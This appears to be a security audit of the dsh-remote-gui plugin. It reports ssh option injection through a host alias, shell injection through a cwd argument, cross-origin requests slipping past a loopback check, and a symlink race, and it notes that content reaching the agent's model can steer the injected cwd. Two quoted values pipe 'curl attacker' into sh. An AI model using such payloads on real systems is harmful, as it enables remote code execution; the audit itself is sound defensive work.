@temotee2103/dsh-remote-gui

The alias is stored verbatim from POST /api/dsh-remote-gui/hosts (`alias: body.alias.trim()`, no validation that it is not an option) and then placed in ssh's argv. Because it appears before the other -o options, an alias such as `-oProxyCommand=curl attacker|sh` is parsed by OpenSSH as an option and the command runs locally with the DSH user's privileges; the same value is also reused in the ssh argv of lib/remote.js readLaunchToken. The only gate in front of that POST route is isLoopbackRequest (source address + Host header), which a request originating from the user's browser to 127.0.0.1:<

The task text is safely shipped via stdin, but `args.cwd` (and `host.headlessHome` on the next line) are concatenated straight into the command string that ssh executes on the remote host. A cwd such as `"/tmp" ; curl attacker|sh ; "` breaks out of the quotes and runs arbitrary shell commands on the remote server, bypassing the headless agent's own tool permissions. The model supplies this argument, so remote session content that reaches the model can steer the value.

isLoopbackRequest only checks the socket address and the Host header. A cross-origin simple request (e.g. fetch with content-type text/plain) sent from any web page to http://127.0.0.1:<dshPort>/api/dsh-remote-gui/... satisfies both checks, and readJsonBody parses the body regardless of content type, so POST /session-prompt (which spends real money on the remote model), POST /tunnel and POST /hosts can be triggered without any user intent or token. The comment inside the plugin states these routes deliberately bypass the host's browser authentication, so this fence is the only barrier.

The remote command writes the task text to a fixed path with a plain `cat >` redirection: another user on the remote host can pre-create that path as a symlink and have the file overwritten with the task text (or read the 0644 file afterwards), and the content is never cleaned up after the run. Impact is limited to the remote account's own privileges, so it is a hardening gap rather than a demonstrated escalation.